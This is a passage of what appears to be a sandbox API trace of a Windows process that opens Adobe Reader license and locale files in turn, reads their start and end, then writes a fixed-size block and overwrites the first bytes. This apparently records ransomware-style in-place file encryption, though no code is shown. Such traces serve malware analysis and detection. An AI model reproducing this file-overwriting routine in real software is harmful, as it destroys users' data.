hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.765] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x12dac [0036.765] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.765] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.765] ReleaseMutex (hMutex=0x128) returned 1 [0036.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.765] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.174] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11dac [0037.174] ReadFile (in: hFile=0x168, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.506] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11dac [0037.507] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.056] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.056] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.056] CloseHandle (hObject=0x168) returned 1 [0038.056] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.057] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.057] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa835 [0038.057] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.057] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.057] ReleaseMutex (hMutex=0x128) returned 1 [0038.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0038.057] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.059] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9835 [0038.059] ReadFile (in: hFile=0x168, lpBuffer=0x1de7a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7a78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.059] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9835 [0038.059] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.060] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.060] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.060] CloseHandle (hObject=0x168) returned 1 [0038.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.060] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.060] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x11ef3 [0038.060] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.060] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.060] ReleaseMutex (hMutex=0x128) returned 1 [0038.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0038.061] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.062] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10ef3 [0038.062] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.063] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10ef3 [0038.063] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.064] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.064] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.064] CloseHandle (hObject=0x168) returned 1 [0038.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.064] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.064] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xba2a [0038.064] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.065] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.065] ReleaseMutex (hMutex=0x128) returned 1 [0038.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0038.065] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.067] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xaa2a [0038.067] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.067] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xaa2a [0038.067] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.067] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.067] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.067] CloseHandle (hObject=0x168) returned 1 [0038.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.068] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.068] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x10d39 [0038.068] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.068] ReleaseMutex (hMutex=0x128) returned 1 [0038.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0038.068] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.069] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xfd39 [0038.070] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.070] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xfd39 [0038.071] WriteFile (in: hFile=0x168, lpBuffer=0x1de2de8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.071] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.071] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.071] CloseHandle (hObject=0x168) returned 1 [0038.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.072] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.072] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3a6af [0038.072] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.072] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.072] ReleaseMutex (hMutex=0x128) returned 1 [0038.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0038.072] ReadFile (in: hFile=0x168, lpBuffer=0x1de7a78, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7a78*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.074] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x396af [0038.074] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.075] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x396af [0038.075] WriteFile (in: hFile=0x168, lpBuffer=0x1de2de8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.075] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.075] WriteFile (in: hFile=0x168, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.076] CloseHandle (hObject=0x168) returned 1 [0038.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.076] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.076] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa400 [0038.076] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.076] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.076] ReleaseMutex (hMutex=0x128) returned 1 [0038.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CAT", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CAT", lpUsedDefaultChar=0x0) returned 11 [0038.076] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.078] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9400 [0038.078] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.078] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9400 [0038.079] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.079] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.079] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.079] CloseHandle (hObject=0x168) returned 1 [0038.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.079] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.079] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6000 [0038.079] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.079] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.079] ReleaseMutex (hMutex=0x128) returned 1 [0038.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CAT", lpUsedDefaultChar=0x0) returned 10 [0038.080] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.081] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5000 [0038.081] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.082] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5000 [0038.082] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.082] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.082] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.082] CloseHandle (hObject=0x168) returned 1 [0038.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 